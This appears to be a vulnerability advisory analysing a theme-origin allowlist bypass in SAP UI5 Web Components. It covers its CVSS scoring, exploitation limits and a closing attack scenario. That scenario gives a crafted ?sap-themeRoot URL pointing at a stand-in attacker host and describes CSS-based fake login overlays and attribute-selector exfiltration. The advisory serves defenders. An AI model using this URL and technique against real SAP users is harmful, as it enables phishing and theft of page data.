SAP UI5 Web Components CVE-2026-44767

Exploitation requires attacker-influenced input to reach setThemeRoot() - the most accessible path is the ?sap-themeRoot URL query parameter, which requires only that a victim load an attacker-crafted URL (no server-side access or authentication by the attacker required; CVSS PR:N confirmed). Alternative trigger paths include attacker control over tenant configuration settings or user-supplied theme preferences that are passed to setThemeRoot(), which would require a higher level of attacker access to the application configuration layer. The vulnerability fires even when no <meta name=sap-allowed-theme-origins> tag is present in the document, meaning absence of the allowlist meta tag is not a safe fallback state. Exploitation is limited by: (1) mandatory victim interaction - the user must navigate to or be tricked into loading the attacker-influenced URL (CVSS UI:R), ruling out fully automated or worm-style propagation; (2) impact ceiling is CSS-only - no JavaScript execution path exists through this vector, so there is no direct privilege escalation or remote code execution; (3) data exfiltration via CSS is constrained to visible, predictable DOM content using attribute selectors and requires attacker-controlled server infrastructure to receive the exfiltrated data.

The CVSS 3.1 score of 6.1 (Medium) is broadly appropriate: the scope-changed metric (S:C) reflects that injected CSS affects the entire victim page beyond the component itself, but the limited C:L/I:L impacts and mandatory user interaction (UI:R) keep severity below high. The AV:N/AC:L/PR:N combination is the key risk driver - the ?sap-themeRoot URL parameter path requires no special access or authentication from the attacker, only a phishing-deliverable link. No EPSS score is available in the provided data, so exploitation probability cannot be quantified. The vulnerability is absent from CISA KEV, indicating no confirmed mass exploitation; no public POC has been identified at time of analysis. The CPE wildcard (all versions of @ui5/webcomponents-base) suggests broad within-ecosystem exposure, but the impact ceiling is CSS-only: no JavaScript execution, no direct remote code execution, and data exfiltration is limited to predictable, visible DOM content via attribute selectors. Real-world risk is highest for SAP environments where users regularly receive and act on links to Fiori applications - a common enterprise workflow that makes the phishing delivery vector realistic. The CWE-306 assignment is inconsistent with the described root cause (allowlist bypass rather than missing authentication), which may cause inaccurate automated risk-scoring - security teams should assess this as an origin-validation failure rather than an authentication bypass.

An attacker crafts a URL to a target SAP Fiori or UI5-based application, appending ?sap-themeRoot=https://attacker.example.com/evil/ where the attacker hosts a malicious CSS file, and delivers it to a victim via phishing email - a plausible vector since SAP application links are routinely shared in enterprise workflows. When the victim loads the URL, setThemeRoot() processes the parameter, bypasses the allowlist check, constructs a <link rel=stylesheet> pointing to the attacker's server, and the browser silently fetches the malicious stylesheet. The injected CSS then renders fake login overlays, obscures legitimate UI elements to redirect user actions (clickjacking), or exfiltrates visible DOM attribute values using CSS attribute selector timing/background-image techniques.